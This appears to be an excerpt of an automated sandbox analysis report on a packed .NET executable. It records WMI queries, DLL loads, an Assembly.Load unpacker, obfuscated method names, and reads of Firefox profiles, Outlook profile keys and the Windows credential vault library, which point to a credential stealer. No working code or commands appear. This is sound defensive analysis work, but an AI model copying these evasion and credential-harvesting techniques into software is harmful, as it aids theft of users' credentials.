Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: LisectAVT_2403002A_52.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: LisectAVT_2403002A_52.exe

String found in binary or memory: menuStrip1/addCarToolStripMenuItemFile1addCarToolStripMenuItem1

Source: unknown	Process created: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe "C:\Users\user\Desktop\LisectAVT_2403002A_52.exe"
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process created: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe "C:\Users\user\Desktop\LisectAVT_2403002A_52.exe"
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Process created: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe "C:\Users\user\Desktop\LisectAVT_2403002A_52.exe"	Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: LisectAVT_2403002A_52.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: LisectAVT_2403002A_52.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: LisectAVT_2403002A_52.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: NutW.pdb source: LisectAVT_2403002A_52.exe
Source:	Binary string: NutW.pdbSHA256 source: LisectAVT_2403002A_52.exe

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.LisectAVT_2403002A_52.exe.24e6ddc.5.raw.unpack, wehuuoKhMKMbnQu72K.cs	.Net Code: LOPk5OGwQvvejRfJl7n System.Reflection.Assembly.Load(byte[])
Source: 0.2.LisectAVT_2403002A_52.exe.38abc90.8.raw.unpack, sTGsWV1GJpy2U01jre.cs	.Net Code: bedpVUiH9A System.Reflection.Assembly.Load(byte[])
Source: 0.2.LisectAVT_2403002A_52.exe.6a70000.12.raw.unpack, sTGsWV1GJpy2U01jre.cs	.Net Code: bedpVUiH9A System.Reflection.Assembly.Load(byte[])
Source: 0.2.LisectAVT_2403002A_52.exe.4ea0000.10.raw.unpack, wehuuoKhMKMbnQu72K.cs	.Net Code: LOPk5OGwQvvejRfJl7n System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe

Code function: 3_2_0292FC18 pushad ; iretd

3_2_0292FC25

Source: LisectAVT_2403002A_52.exe

Static PE information: section name: .text entropy: 7.938114305059397

Source: 0.2.LisectAVT_2403002A_52.exe.24e6ddc.5.raw.unpack, kdFvaMFVPKs73pA7Ae.cs	High entropy of concatenated method names: 'jlLbsIppcp4pe', 'HUDVafGQx3A5lYPXEbC', 'bWxlDPGFKtjOUjq8ME9', 'J13JY7Gs9VegMR0Usdn', 'gjnvHYGCPTFBSN5sXDA', 'UXn9pRGVr5JYGFjuCRJ', 'g8bQ3yGYPoLwrRusK3E', 'KwwAwLG5jtFVjgr5V0l', 'lJyLiGG0wAjthymuVo5', 'KrHGd2G9wj507LdZGDe'
Source: 0.2.LisectAVT_2403002A_52.exe.24e6ddc.5.raw.unpack, DD.cs	High entropy of concatenated method names: 'wgRxinKHcbWANUbFNm', 'dwveif1E9jqp4XTbTA', 'iYTXHL2SDoNZBJVsGw', 'hFySdn3keDBvJSvKal', 'PVIytPpWpuEYQLk40u'
Source: 0.2.LisectAVT_2403002A_52.exe.24e6ddc.5.raw.unpack, ihWImL1h2qjtIkVYDh.cs	High entropy of concatenated method names: 'qJUttacKFT', 'djwp7oGHZ8xfNf3m5ut', 'AZqALCG67UykKuowXP2', 'dkLCJpGlCfFdqtD7Epf', 'iHWSkAGjDuGN31hXJsT', 'u4UYnDGE5xCOMnt15QR', 'jhES7Va4c', 'jWmROKkjL', 'Dispose', 'BJj7gBhfp'
Source: 0.2.LisectAVT_2403002A_52.exe.24e6ddc.5.raw.unpack, oImfMJtvGUo8fMQNBQ.cs	High entropy of concatenated method names: 'cxsORewNJ', 'VvrninWuk', 'ustvIxt9o', 'QtXoY7g0N', 'cMKlMbnQu', 'w2KLAB5Xx', 'hNkF6TG2YCh7xU8s3hJ', 'hs4l1PGKtLhAeRnm1c4', 'Dispose', 'MoveNext'
Source: 0.2.LisectAVT_2403002A_52.exe.24e6ddc.5.raw.unpack, wehuuoKhMKMbnQu72K.cs	High entropy of concatenated method names: 'NXMyxc8eI', 'GTZadPHeP', 'DEVNaDCj9', 'cflmBNqev', 'VFQ0OImLC', 'PbYVMxZvt', 'UPdFjbLed', 'AeEi93ui9', 'oM66buTLn', 'nxFUIfcfn'
Source: 0.2.LisectAVT_2403002A_52.exe.38abc90.8.raw.unpack, cwvQKyDxnEcX9Sjm00.cs	High entropy of concatenated method names: 'cXtOULGkDa', 'zaoOwsecr7', 'UckO7NiqDp', 'dR8OC7lf7F', 'VrkO1l8VhF', 'rAH7cQxQYZ', 'zW37n3VbvH', 'nxx7XsFpA5', 'QYb70ZZ4cG', 'kmJ7B1sFco'
Source: 0.2.LisectAVT_2403002A_52.exe.38abc90.8.raw.unpack, k8NhOcl5rOqbRfggyX.cs	High entropy of concatenated method names: 'nTqwLerMe0', 'snow8Wpt9k', 'Ck1web4iUc', 'naSwyOmAcd', 'KMnwcXCMnG', 'zEHwnrRlHv', 'SWkwXqbIQO', 'e7Uw02oNy5', 'RSdwBehWsH', 'NWWwPsxok3'
Source: 0.2.LisectAVT_2403002A_52.exe.38abc90.8.raw.unpack, rnhpVsnCEiRTBtwtqm.cs	High entropy of concatenated method names: 'vwwF0xlQTv', 'Q9YFPoLi9X', 'FgVfvdCPDA', 'Aj4ftpocQq', 'z0bFrMs3gE', 'eLXFHy2d3g', 'O6RF3d506M', 'd6fFLix3YG', 'xmAF8DKJBb', 'XUmFec1813'
Source: 0.2.LisectAVT_2403002A_52.exe.38abc90.8.raw.unpack, jtyTvsLf9tI9AhwFwh.cs	High entropy of concatenated method names: 'ynsAIr4JvN', 'JjuAH7yy5O', 'lqwALaK0RG', 'sDDA8iiaPM', 'iVtAZpF2SD', 'NjHAoDA9wv', 'wDOA5NfFn5', 'DtaAsKWxOQ', 's9vAjF7lYn', 'UVrAg8sQAH'
Source: 0.2.LisectAVT_2403002A_52.exe.38abc90.8.raw.unpack, x3mRGDwWxjLYWqRjsf.cs	High entropy of concatenated method names: 'Dispose', 'GXTtB81ZWQ', 'cq1iZVAi7i', 'gKcXXhkyHm', 'a1UtP5J5Ij', 'cJYtzITEd0', 'ProcessDialogKey', 'GJhivnF4FS', 'RbfitT6aKS', 'UkDiihKvRp'
Source: 0.2.LisectAVT_2403002A_52.exe.38abc90.8.raw.unpack, sTGsWV1GJpy2U01jre.cs	High entropy of concatenated method names: 'Pc1MU0JLQD', 'ogeMSU68a8', 'u5oMwhB9TZ', 'odcM64Lnsk', 'VunM7Nwgm8', 'CEuMOU87vA', 'e5dMCS8SgY', 'wTsM1h8ppF', 'AgoMqmGmka', 'YToM4cmmjj'
Source: 0.2.LisectAVT_2403002A_52.exe.38abc90.8.raw.unpack, vtVpcI3QeIQNZi94XK.cs	High entropy of concatenated method names: 'Vh3blRVOi1', 'K25bQEE6ZB', 'wNBbD2e6Kf', 'wqWbZIhZvv', 'sdcb5pcNrl', 'twqbs9NVyV', 'trRbgXVtYh', 'WRbbxFjIYK', 'ln4bIZ7ljZ', 'iribrIS8jP'
Source: 0.2.LisectAVT_2403002A_52.exe.38abc90.8.raw.unpack, Ka8GYCeSguLOLtbGZZ.cs	High entropy of concatenated method names: 'ToString', 'nCm9rLqfNG', 'kmU9ZYPusO', 'SaK9oxHJ5k', 'qIZ95l2LNf', 'CDJ9sptQUa', 'KV99ji9YKp', 'HcD9g92nqy', 'zgM9xOMay5', 'a6d9GcUPU6'
Source: 0.2.LisectAVT_2403002A_52.exe.38abc90.8.raw.unpack, Gm4U4CiUyxVFUNfNpN.cs	High entropy of concatenated method names: 'KnDVciAyL', 'FGYKBQbQg', 'XW2RjcN4e', 'uLqWk0Q5i', 'alQQ3SHLr', 'gNSadm9Jd', 'whoVx4lFsSvRDp7iou', 'xKHfOCh05wMgiKeVVZ', 'PcU6wpLEdnw625DB63', 'uEjfdPMFr'
Source: 0.2.LisectAVT_2403002A_52.exe.38abc90.8.raw.unpack, U75Q4DzeYpHacR6kuT.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'x3YdbPKULx', 'QahdA71TUX', 'b3ud91pGOb', 'lMUdFxLXKT', 'OdDdf1xUS0', 'u3GddxyEp6', 'IowdNCsH1w'
Source: 0.2.LisectAVT_2403002A_52.exe.38abc90.8.raw.unpack, gRl3VhpTXMQWoFwZ0t.cs	High entropy of concatenated method names: 'E11tC8NhOc', 'IrOt1qbRfg', 'cpit4QSYLn', 'AnLtm76OuD', 'XJhtAXJiwv', 'EKyt9xnEcX', 'xoCs05Ra4NwuVgp9Ml', 'Xdf9cLZIB1TJCR1SQD', 'VCDttdkykp', 'TKvtMVTWKN'
Source: 0.2.LisectAVT_2403002A_52.exe.38abc90.8.raw.unpack, wKvRpKP49bRtrPO2wC.cs	High entropy of concatenated method names: 'HbKdtM9Xmg', 'wgldMHNXGd', 'XZTdpxNqTM', 'YyPdSimobv', 'pJXdwu838a', 'KUid7Ua3Cs', 'WpmdO2usuo', 'KoDfXvM5V5', 'tfXf0shnaD', 'TNSfBv2W5T'
Source: 0.2.LisectAVT_2403002A_52.exe.38abc90.8.raw.unpack, wnF4FSB8bfT6aKSckD.cs	High entropy of concatenated method names: 'zZcfDDRi3t', 'aa0fZlwnnS', 'KMyfoACJso', 'HUJf5qLJyX', 'YJyfLXlYKl', 'oVnfsCanYr', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.LisectAVT_2403002A_52.exe.38abc90.8.raw.unpack, kZkSxiQpiQSYLnKnL7.cs	High entropy of concatenated method names: 'AWZ6KXED9K', 'EoJ6ROySrU', 'FOX6lqBpoY', 'SEC6QiRp9L', 'p2f6A9oYnc', 'KhD697kpiw', 'y3W6FPUdDk', 'h7h6flnxJy', 'TEg6dmQ7Sv', 'pZC6NW79F7'
Source: 0.2.LisectAVT_2403002A_52.exe.38abc90.8.raw.unpack, kU5J5I0jMJYITEd0DJ.cs	High entropy of concatenated method names: 'GRifSv2AfB', 'u3RfwLE3IP', 'ob5f66ykQ1', 'ID7f7W1ck1', 'KaLfOG7ca6', 'P5FfC3cJ4Z', 'RHcf1iw2JT', 'wmFfqBc0Tq', 'QoNf4dxUFp', 'FCcfm05q9x'
Source: 0.2.LisectAVT_2403002A_52.exe.38abc90.8.raw.unpack, hOuDDRaJp8KDL0JhXJ.cs	High entropy of concatenated method names: 'Gch7JqFp5I', 'inb7WcY2qT', 'bBA6oEp3WS', 'IWP65rItmx', 'faP6sXKDnb', 'B286j4b0Iw', 'kfY6gbt33l', 'B0s6xVejHO', 'qVD6GlaE0I', 'NaB6IP18Im'
Source: 0.2.LisectAVT_2403002A_52.exe.38abc90.8.raw.unpack, I0H9wMGQllVCk95xxN.cs	High entropy of concatenated method names: 'B0pCuFIjjg', 'pIFCEuEmjv', 'N36CVofQWx', 'qsRCKNA3je', 'GPdCJx0CDW', 'm9UCRxk541', 'dIPCWB7QYr', 'l60Cl0IU0M', 'bFkCQHBM1B', 'bejCaUWh8l'
Source: 0.2.LisectAVT_2403002A_52.exe.38abc90.8.raw.unpack, phlAM8tvxEdrjEIreQ9.cs	High entropy of concatenated method names: 'JImdu870Jr', 'yX2dEYlEPT', 'VIHdVxR4Nb', 'UCfdK4tdxc', 'kF6dJL0FAM', 'kZCdRlKdw1', 'vfUdWEvwPt', 'Jn4dlVA3g0', 'RK2dQI9CxZ', 'rgAdaoEDlh'
Source: 0.2.LisectAVT_2403002A_52.exe.38abc90.8.raw.unpack, GfT8QYtMO2flwXIqGe5.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'jgONLa6Q3A', 'Y5ON8u9NFD', 'YSNNeBpVv1', 'jMKNyPKgno', 'Bp9NcihnQq', 'M4JNnQSwd0', 'h03NXJL11u'
Source: 0.2.LisectAVT_2403002A_52.exe.6a70000.12.raw.unpack, cwvQKyDxnEcX9Sjm00.cs	High entropy of concatenated method names: 'cXtOULGkDa', 'zaoOwsecr7', 'UckO7NiqDp', 'dR8OC7lf7F', 'VrkO1l8VhF', 'rAH7cQxQYZ', 'zW37n3VbvH', 'nxx7XsFpA5', 'QYb70ZZ4cG', 'kmJ7B1sFco'
Source: 0.2.LisectAVT_2403002A_52.exe.6a70000.12.raw.unpack, k8NhOcl5rOqbRfggyX.cs	High entropy of concatenated method names: 'nTqwLerMe0', 'snow8Wpt9k', 'Ck1web4iUc', 'naSwyOmAcd', 'KMnwcXCMnG', 'zEHwnrRlHv', 'SWkwXqbIQO', 'e7Uw02oNy5', 'RSdwBehWsH', 'NWWwPsxok3'
Source: 0.2.LisectAVT_2403002A_52.exe.6a70000.12.raw.unpack, rnhpVsnCEiRTBtwtqm.cs	High entropy of concatenated method names: 'vwwF0xlQTv', 'Q9YFPoLi9X', 'FgVfvdCPDA', 'Aj4ftpocQq', 'z0bFrMs3gE', 'eLXFHy2d3g', 'O6RF3d506M', 'd6fFLix3YG', 'xmAF8DKJBb', 'XUmFec1813'
Source: 0.2.LisectAVT_2403002A_52.exe.6a70000.12.raw.unpack, jtyTvsLf9tI9AhwFwh.cs	High entropy of concatenated method names: 'ynsAIr4JvN', 'JjuAH7yy5O', 'lqwALaK0RG', 'sDDA8iiaPM', 'iVtAZpF2SD', 'NjHAoDA9wv', 'wDOA5NfFn5', 'DtaAsKWxOQ', 's9vAjF7lYn', 'UVrAg8sQAH'
Source: 0.2.LisectAVT_2403002A_52.exe.6a70000.12.raw.unpack, x3mRGDwWxjLYWqRjsf.cs	High entropy of concatenated method names: 'Dispose', 'GXTtB81ZWQ', 'cq1iZVAi7i', 'gKcXXhkyHm', 'a1UtP5J5Ij', 'cJYtzITEd0', 'ProcessDialogKey', 'GJhivnF4FS', 'RbfitT6aKS', 'UkDiihKvRp'
Source: 0.2.LisectAVT_2403002A_52.exe.6a70000.12.raw.unpack, sTGsWV1GJpy2U01jre.cs	High entropy of concatenated method names: 'Pc1MU0JLQD', 'ogeMSU68a8', 'u5oMwhB9TZ', 'odcM64Lnsk', 'VunM7Nwgm8', 'CEuMOU87vA', 'e5dMCS8SgY', 'wTsM1h8ppF', 'AgoMqmGmka', 'YToM4cmmjj'
Source: 0.2.LisectAVT_2403002A_52.exe.6a70000.12.raw.unpack, vtVpcI3QeIQNZi94XK.cs	High entropy of concatenated method names: 'Vh3blRVOi1', 'K25bQEE6ZB', 'wNBbD2e6Kf', 'wqWbZIhZvv', 'sdcb5pcNrl', 'twqbs9NVyV', 'trRbgXVtYh', 'WRbbxFjIYK', 'ln4bIZ7ljZ', 'iribrIS8jP'
Source: 0.2.LisectAVT_2403002A_52.exe.6a70000.12.raw.unpack, Ka8GYCeSguLOLtbGZZ.cs	High entropy of concatenated method names: 'ToString', 'nCm9rLqfNG', 'kmU9ZYPusO', 'SaK9oxHJ5k', 'qIZ95l2LNf', 'CDJ9sptQUa', 'KV99ji9YKp', 'HcD9g92nqy', 'zgM9xOMay5', 'a6d9GcUPU6'
Source: 0.2.LisectAVT_2403002A_52.exe.6a70000.12.raw.unpack, Gm4U4CiUyxVFUNfNpN.cs	High entropy of concatenated method names: 'KnDVciAyL', 'FGYKBQbQg', 'XW2RjcN4e', 'uLqWk0Q5i', 'alQQ3SHLr', 'gNSadm9Jd', 'whoVx4lFsSvRDp7iou', 'xKHfOCh05wMgiKeVVZ', 'PcU6wpLEdnw625DB63', 'uEjfdPMFr'
Source: 0.2.LisectAVT_2403002A_52.exe.6a70000.12.raw.unpack, U75Q4DzeYpHacR6kuT.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'x3YdbPKULx', 'QahdA71TUX', 'b3ud91pGOb', 'lMUdFxLXKT', 'OdDdf1xUS0', 'u3GddxyEp6', 'IowdNCsH1w'
Source: 0.2.LisectAVT_2403002A_52.exe.6a70000.12.raw.unpack, gRl3VhpTXMQWoFwZ0t.cs	High entropy of concatenated method names: 'E11tC8NhOc', 'IrOt1qbRfg', 'cpit4QSYLn', 'AnLtm76OuD', 'XJhtAXJiwv', 'EKyt9xnEcX', 'xoCs05Ra4NwuVgp9Ml', 'Xdf9cLZIB1TJCR1SQD', 'VCDttdkykp', 'TKvtMVTWKN'
